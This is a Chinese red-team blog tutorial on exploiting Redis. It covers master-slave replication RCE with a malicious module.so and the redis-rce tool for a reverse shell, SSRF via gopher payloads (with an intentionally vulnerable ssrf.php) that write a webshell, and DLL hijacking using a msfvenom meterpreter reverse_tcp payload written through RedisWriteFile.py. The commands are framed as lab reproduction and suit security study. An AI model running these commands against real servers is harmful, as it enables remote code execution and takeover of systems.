全文干货!Redis漏洞利用详解 (下)
全文干货!Redis漏洞利用详解 (下)
原创 LULU 红队蓝军 2024-09-18 19:00
redis主从复制getshell
redis当读写体量比较大的时候,影响服务端效率,从而Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以减轻流量
在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的
复现步骤
1、开启redis数据库,注意4.X以上需要redis.conf关闭保护模式、
2、在kali上连接靶机redis服务,并设置主从状态(将kali设置为redis主机)
3、在kali上编译恶意代码,生成module.so
---git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand #下载工具
----cd RedisModules-ExecuteCommand/
---- make #编译
4、kali利用redis-rce工具进行getshell
---- git clone https://github.com/Ridter/redis-rce #下载工具
5、将module.so文件放到利用工具目录下
---cd redis-rce/
---cp ../RedisModules-ExecuteCommand/src/module.so ./ #将.so工具放到redis-rce目录下
---pip install -r requirements.txt
---python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so #执行反弹shell。当然这里也可以执行交互式shell
6、kali进行监听
执行反弹shell复现
1、将kali设置为主机
2、下载并编译,得到恶意.so
3、下载redis–rce工具,并将恶意.so文件放在该目录下
4、攻击端执行,kali监听
ssrf攻击内网redis
什么是gopher协议
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。
gopher协议包格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
- gopher的默认端口是70
- 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
复现
1、搭建lamp网站
快速建站,将lamp网站存在ssrf漏洞,将它作为一个跳板,攻击redis服务器
1.1 lamp网站的搭建
docker官方镜像仓库 https://hub.docker.com/
拉取mattrayner/lamp镜像
运行镜像 需要映射到/opt/www
1.2在该网站下,写入带有ssrf漏洞的程序
ssrf.php
<?php
// 获取参数
$url = isset($_GET['url']) ? $_GET['url'] : "";
if ($url){
// 初始化curl
$ch = curl_init();
// 设置URL参数
curl_setopt($ch, CURLOPT_URL, $url);
// 设置是否返回响应头
curl_setopt($ch, CURLOPT_HEADER, 0);
// 执行
$result = curl_exec($ch);
// 关闭
curl_close($ch);
}
导致ssrf漏洞产生的问题:没有对URL进行过滤
2、创建redis服务器
redis官网 https://redis.io
$ wget https://download.redis.io/releases/redis-5.0.5.tar.gz
$ tar xzf redis-5.0.5.tar.gz
$ cd redis-5.0.5
$ make
# 如果出现找不到make,执行:aptre install -y make gcc g++
服务端开启:./src/redis-server 如果服务端开启要指定配置文件 ./src/redis-server redis.conf
客户端运行:./src/redis-cli
配置文件redis.conf
protected-mode no 关闭保护模式。默认是开启保护模式的,本地可以操作,外网不行
#bind 127.0.0.1 所有都允许访问。如果没有注释,通常只能是服务器或者内网的IP进行访问
漏洞探测
通过服务器上搭建的网站访问baidu,确定存在ssrf漏洞
探测服务
基于上述 :已经确定存在SSRF漏洞,且端口6379是开放的,存在redis服务
可以利用gopher协议,攻击redis拿下服务器
3、利用gopher协议包
利用GitHub上开源的生成gopher协议规则包的工具:
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
下载工具包,查看readme.txt文档
3.1编辑redis.cmd,创建木马病毒的文件
3.2利用工具生成gopher协议包
生成payload
python redis-over-gopher.py
3.3 对生成的payload进行URL编码
利用burp自带的编码功能或者使用在线编码
3.4 访问
3.5 查看是否木马文件
3.6 探针
4、蚁剑连接
webshell 管理工具:蚁剑 菜刀 哥斯拉 冰蝎
拿下redis服务器
当然dict协议也可以利用
Redis DLL劫持的利用
DLL:Windows的动态链接库,简单来说,就是一部分Windows平台下的通用代码并没有写在程序里,而是当程序需要使用时去DLL里调用。DLL劫持:当程序没有指定DLL的绝对路径时,就会按一定顺序查找DLL,从而攻击者有机会在优先级更高的目录里放置恶意DLL
启用”安全DLL查找模式”时,查找顺序如下:
a. 应用程序所在目录;
b. 系统目录。[**GetSystemDirectory**](http://msdn.microsoft.com/en-us/library/ms724373(v=vs.85).aspx)返回的目录,通常是系统盘\Windows\System32;
c. 16位系统目录。该项只是为了向前兼容的处理,可以不考虑;
d. Windows目录。[**GetWindowsDirectory**](http://msdn.microsoft.com/en-us/library/ms724454(v=vs.85).aspx)返回的目录,通常是系统盘\Windows;
e. 当前目录。GetCurrentDirectory返回的目录;
f. 环境变量PATH中所有目录。
漏洞复现
1、寻找DLL劫持目标
连接redis使用bgsave命令,查看缺少的dll
调用完应用程序目录里的恶意DLL后会调用原DLL,dbghelp.dll系统自带,可以直接拿来利用
漏洞利用
不出网——Metasploit-反向shell
1、使用dllHijack工具(https://github.com/P4r4d1se/dll_hijack),执行后生成dbghelp.dll项目
python DllHijacker.py dbghelp.dll
2、msf生成payload,让meterpreter的流量指向Linux出网主机的6666端口:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=6666 -f c -o shellcode
将kali中生成的shellcode替换到dbghelp.dll项目,并使用主从复制将修改后的dll写入到目标指定位置 (利用工具:RedisWriteFile工具),目标靶机中将会写入恶意的dll文件
python RedisWriteFile.py --rhost=IP --rport=6379 --lhost=IP --rpath="C:\\Users\\superman\\Desktop\\Redis-x64-3.0.504\\" --rfile="dbghelp.dll" --lfile="dbghelp.dll"
在redis客户端连接执行bgsave,尝试触发劫持dll,msf监听,收到shell
加下方wx,拉你一起进群学习